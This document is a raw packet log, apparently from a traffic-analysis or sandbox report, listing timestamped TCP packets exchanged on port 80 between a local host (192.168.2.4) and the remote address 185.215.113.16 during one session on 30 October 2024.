Oct 30, 2024 12:36:36.029324055 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.029361963 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.029395103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.029408932 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.029428959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.029468060 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.029479027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.029515982 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.029545069 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.029557943 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.029596090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.029632092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.029664040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.029675007 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.029697895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.029706955 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.029731989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.029798985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.029831886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.029838085 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.029869080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.029875994 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.029920101 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.029953957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.029995918 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.030003071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.030038118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.030081987 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.030086040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.030119896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.030138016 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.030153990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.030191898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.030220032 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.030244112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.030277967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.030286074 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.030306101 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.030407906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.030441046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.030447006 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.030474901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.030499935 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.030508995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.030548096 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.030559063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.030591965 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.030622005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.030654907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.030666113 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.030689001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.030699015 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.030739069 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.030782938 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.030791044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.030829906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.030864954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.030913115 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.030919075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.030956984 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.030971050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.031003952 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.031055927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.031090021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.031104088 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.031122923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.031136036 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.031173944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.031224966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.031258106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.031270981 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.031297922 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.031307936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.031351089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.031383038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.031409025 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.031415939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.031457901 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.031466007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.031500101 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.031533957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.031536102 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.031569958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.031603098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.031635046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.031649113 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.031668901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.031677961 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.031703949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.031737089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.031753063 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.031790018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.031822920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.031831980 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.031876087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.031908035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.031958103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.031976938 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.031986952 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.032000065 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.032042027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.032075882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.032099962 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.032109022 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.032141924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.032160997 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.032195091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.032244921 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.032265902 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.032273054 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.032315969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.032341957 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.032350063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.032382011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.032392025 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.032417059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.032466888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.032500982 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.032510996 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.032533884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.032562971 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.032583952 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.032613039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.032654047 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.032665014 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.032704115 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.032716036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.032749891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.032783985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.032795906 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.032835007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.032869101 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.032912970 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.032921076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.032964945 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.032975912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.033025980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.033077002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.033109903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.033119917 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.033143997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.033159971 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.033176899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.033210039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.033240080 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.033261061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.033298016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.033330917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.033355951 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.033365011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.033394098 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.033399105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.033442020 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.033449888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.033483028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.033531904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.033534050 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.033565998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.033607960 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.033615112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.033664942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.033700943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.033709049 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.033735037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.033768892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.033782005 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.033802986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.033855915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.033881903 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.033889055 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.033922911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.033932924 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.033957005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.034006119 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.034008980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.034060001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.034092903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.034121990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.034142017 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.034153938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.034162045 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.034204960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.034241915 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.034255981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.034291983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.034324884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.034358025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.034367085 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.034396887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.034419060 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.034447908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.034481049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.034497023 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.034533024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.034565926 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.034576893 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.034600019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.034650087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.034682989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.034692049 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.034717083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.034728050 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.034749985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.034782887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.034815073 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.034821033 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.034848928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.034869909 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.034884930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.034917116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.034920931 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.034951925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.034984112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.034998894 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.035022020 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.035053968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.035070896 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.035087109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.035119057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.035142899 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.035154104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.035187006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.035197973 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.035221100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.035254002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.035279989 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.035286903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.035326004 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.035336971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.035372019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.035399914 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.035413980 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.035433054 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.035465956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.035479069 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.035499096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.035532951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.035566092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.035595894 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.035598993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.035624027 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.035633087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.035666943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.035696030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.035706997 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.035729885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.035736084 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.035769939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.035804987 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.035837889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.035847902 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.035872936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.035881996 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.035907030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.035934925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.035954952 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.035969019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.036000967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.036032915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.036045074 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.036067009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.036101103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.036103010 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.036135912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.036142111 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.036170006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.036204100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.036236048 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.036241055 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.036269903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.036272049 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.036303997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.036338091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.036365032 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.036370993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.036406994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.036432028 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.036434889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.036468029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.036501884 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.036501884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.036535025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.036565065 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.036567926 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.036600113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.036612988 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.036633968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.036667109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.036679029 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.036703110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.036731958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.036748886 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.036765099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.036798000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.036825895 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.036829948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.036864996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.036894083 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.036896944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.036931038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.036958933 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.036958933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.036992073 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.037000895 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.037026882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.037059069 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.037086010 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.037091970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.037125111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.037158012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.037168980 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.037206888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.037216902 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.037245035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.037277937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.037290096 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.037312031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.037344933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.037378073 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.037388086 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.037411928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.037419081 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.037446022 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.037477970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.037507057 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.037513018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.037545919 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.037559032 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.037580967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.037612915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.037646055 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.037661076 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.037681103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.037688971 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.037714958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.037749052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.037781954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.037791967 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.037816048 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.037842989 CET	49744	80	192.168.2.4	185.215.113.16
